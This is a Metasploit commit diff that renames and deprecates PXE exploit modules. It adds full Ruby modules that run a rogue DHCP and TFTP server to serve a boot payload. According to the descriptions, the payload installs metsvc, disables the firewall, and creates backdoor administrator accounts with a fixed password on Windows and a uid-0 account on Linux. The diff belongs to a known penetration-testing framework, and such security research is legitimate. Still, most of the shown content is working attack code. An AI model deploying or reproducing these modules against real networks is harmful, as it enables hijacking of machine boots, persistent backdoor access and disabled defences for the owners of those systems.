Skip to content

Commit e0314aa

Browse files
author
Tod Beardsley
committed
Land rapid7#4750, Deprecate and msftidy on pxe exploits
2 parents 1ced9a2 + 02fe57e commit e0314aa

File tree

5 files changed

+204
-20
lines changed

5 files changed

+204
-20
lines changed

‎modules/auxiliary/server/pxeexploit.rb

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/proto/tftp'
8+
require 'rex/proto/dhcp'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::TFTPServer
13+
include Msf::Auxiliary::Report
14+
15+
def initialize
16+
super(
17+
'Name' => 'PXE Boot Exploit Server',
18+
'Description' => %q{
19+
This module provides a PXE server, running a DHCP and TFTP server.
20+
The default configuration loads a linux kernel and initrd into memory that
21+
reads the hard drive; placing a payload to install metsvc, disable the
22+
firewall, and add a new user metasploit on any Windows partition seen,
23+
and add a uid 0 user with username and password metasploit to any linux
24+
partition seen. The windows user will have the password p@SSw0rd!123456
25+
(in case of complexity requirements) and will be added to the administrators
26+
group.
27+
28+
Note: the displayed IP address of a target is the address this DHCP server
29+
handed out, not the "normal" IP address the host uses.
30+
},
31+
'Author' => [ 'scriptjunkie' ],
32+
'License' => MSF_LICENSE,
33+
'Actions' =>
34+
[
35+
[ 'Service' ]
36+
],
37+
'PassiveActions' =>
38+
[
39+
'Service'
40+
],
41+
'DefaultAction' => 'Service',
42+
'DefaultOptions' => {
43+
'FILENAME' => 'update1',
44+
'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them!
45+
}
46+
)
47+
48+
register_advanced_options(
49+
[
50+
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from',
51+
File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]),
52+
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
53+
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
54+
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
55+
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
56+
], self.class)
57+
end
58+
59+
def run
60+
print_status("Starting TFTP server...")
61+
@tftp = Rex::Proto::TFTP::Server.new
62+
@tftp.set_tftproot(datastore['TFTPROOT'])
63+
@tftp.start
64+
add_socket(@tftp.sock)
65+
66+
print_status("Starting DHCP server...")
67+
@dhcp = Rex::Proto::DHCP::Server.new( datastore )
68+
@dhcp.report do |mac, ip|
69+
print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+
70+
"(#{Rex::Socket.addr_ntoa(ip)})")
71+
report_note(
72+
:type => 'PXE.client',
73+
:data => mac.unpack('H2H2H2H2H2H2').join(':')
74+
)
75+
end
76+
@dhcp.start
77+
add_socket(@dhcp.sock)
78+
79+
# Wait for finish..
80+
@tftp.thread.join
81+
@dhcp.thread.join
82+
83+
end
84+
85+
end

‎modules/auxiliary/server/pxexploit.rb

Lines changed: 10 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,9 @@ class Metasploit3 < Msf::Auxiliary
1111

1212
include Msf::Exploit::Remote::TFTPServer
1313
include Msf::Auxiliary::Report
14+
include Msf::Module::Deprecated
15+
16+
deprecated(Date.new(2015, 4, 11), 'auxiliary/server/pxeexploit')
1417

1518
def initialize
1619
super(
@@ -38,12 +41,17 @@ def initialize
3841
[
3942
'Service'
4043
],
41-
'DefaultAction' => 'Service'
44+
'DefaultAction' => 'Service',
45+
'DefaultOptions' => {
46+
'FILENAME' => 'update1',
47+
'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them!
48+
}
4249
)
4350

4451
register_advanced_options(
4552
[
46-
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]),
53+
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from',
54+
File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]),
4755
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
4856
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
4957
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
@@ -52,12 +60,6 @@ def initialize
5260
end
5361

5462
def run
55-
if not datastore['TFTPROOT']
56-
datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
57-
end
58-
datastore['FILENAME'] = "update1"
59-
datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!
60-
6163
print_status("Starting TFTP server...")
6264
@tftp = Rex::Proto::TFTP::Server.new
6365
@tftp.set_tftproot(datastore['TFTPROOT'])

‎modules/exploits/windows/local/pxeexploit.rb

Lines changed: 7 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,11 @@ def initialize
4747
],
4848
'Privileged' => true,
4949
'Stance' => Msf::Exploit::Stance::Passive,
50-
'DefaultTarget' => 0
50+
'DefaultTarget' => 0,
51+
'DefaultOptions' => {
52+
'FILENAME' => 'update1',
53+
'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them!
54+
}
5155
)
5256

5357
register_options(
@@ -57,7 +61,8 @@ def initialize
5761

5862
register_advanced_options(
5963
[
60-
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]),
64+
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from',
65+
File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]),
6166
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
6267
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
6368
OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]),
@@ -67,12 +72,6 @@ def initialize
6772
end
6873

6974
def exploit
70-
if not datastore['TFTPROOT']
71-
datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
72-
end
73-
datastore['FILENAME'] = "update1"
74-
datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!
75-
7675
# Prepare payload
7776
print_status("Creating initrd")
7877
initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom'))

‎modules/post/windows/manage/pxeexploit.rb

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/auxiliary/report'
8+
9+
class Metasploit3 < Msf::Post
10+
11+
include Msf::Auxiliary::Report
12+
13+
def initialize
14+
super(
15+
'Name' => 'Windows Manage PXE Exploit Server',
16+
'Description' => %q{
17+
This module provides a PXE server, running a DHCP and TFTP server.
18+
The default configuration loads a linux kernel and initrd into memory that
19+
reads the hard drive; placing a payload to install metsvc, disable the
20+
firewall, and add a new user metasploit on any Windows partition seen,
21+
and add a uid 0 user with username and password metasploit to any linux
22+
partition seen. The windows user will have the password p@SSw0rd!123456
23+
(in case of complexity requirements) and will be added to the administrators
24+
group.
25+
26+
See exploit/windows/misc/pxesploit for a version to deliver a specific payload.
27+
28+
Note: the displayed IP address of a target is the address this DHCP server
29+
handed out, not the "normal" IP address the host uses.
30+
},
31+
'Author' => [ 'scriptjunkie' ],
32+
'License' => MSF_LICENSE,
33+
'Platform' => [ 'win' ],
34+
'SessionTypes' => [ 'meterpreter' ]
35+
)
36+
37+
register_advanced_options(
38+
[
39+
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from',
40+
File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]),
41+
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
42+
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
43+
OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]),
44+
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
45+
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
46+
], self.class)
47+
end
48+
49+
def run
50+
if not client.lanattacks
51+
print_status("Loading lanattacks extension...")
52+
client.core.use("lanattacks")
53+
else
54+
if datastore['RESETPXE']
55+
print_status("Resetting PXE attack...")
56+
client.lanattacks.dhcp.reset
57+
end
58+
end
59+
60+
#Not setting these options (using autodetect)
61+
print_status("Loading DHCP options...")
62+
client.lanattacks.dhcp.load_options(datastore)
63+
64+
0.upto(4) do |i|
65+
print_status("Loading file #{i+1} of 5")
66+
contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
67+
client.lanattacks.tftp.add_file("update#{i}",contents)
68+
end
69+
print_status("Starting TFTP server...")
70+
client.lanattacks.tftp.start
71+
print_status("Starting DHCP server...")
72+
client.lanattacks.dhcp.start
73+
print_status("PXEsploit attack started")
74+
while (true) do
75+
begin
76+
# get stats every 20s
77+
select(nil, nil, nil, 20)
78+
client.lanattacks.dhcp.log.each do |item|
79+
print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+
80+
"(#{Rex::Socket.addr_ntoa(item[1])})")
81+
report_note({
82+
:type => 'PXE.client',
83+
:data => item[0].unpack('H2H2H2H2H2H2').join(':')
84+
})
85+
end
86+
rescue ::Interrupt
87+
print_status("Stopping TFTP server...")
88+
client.lanattacks.tftp.stop
89+
print_status("Stopping DHCP server...")
90+
client.lanattacks.dhcp.stop
91+
print_status("PXEsploit attack stopped")
92+
return
93+
end
94+
end
95+
end
96+
97+
end

‎modules/post/windows/manage/pxexploit.rb

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,9 @@
99
class Metasploit3 < Msf::Post
1010

1111
include Msf::Auxiliary::Report
12+
include Msf::Module::Deprecated
13+
14+
deprecated(Date.new(2015, 4, 11), 'post/windows/manage/pxeexploit')
1215

1316
def initialize
1417
super(
@@ -36,7 +39,8 @@ def initialize
3639

3740
register_advanced_options(
3841
[
39-
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]),
42+
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from',
43+
File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]),
4044
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
4145
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
4246
OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]),
@@ -46,9 +50,6 @@ def initialize
4650
end
4751

4852
def run
49-
if not datastore['TFTPROOT']
50-
datastore['TFTPROOT'] = ::File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
51-
end
5253
if not client.lanattacks
5354
print_status("Loading lanattacks extension...")
5455
client.core.use("lanattacks")

0 commit comments

Comments
 (0)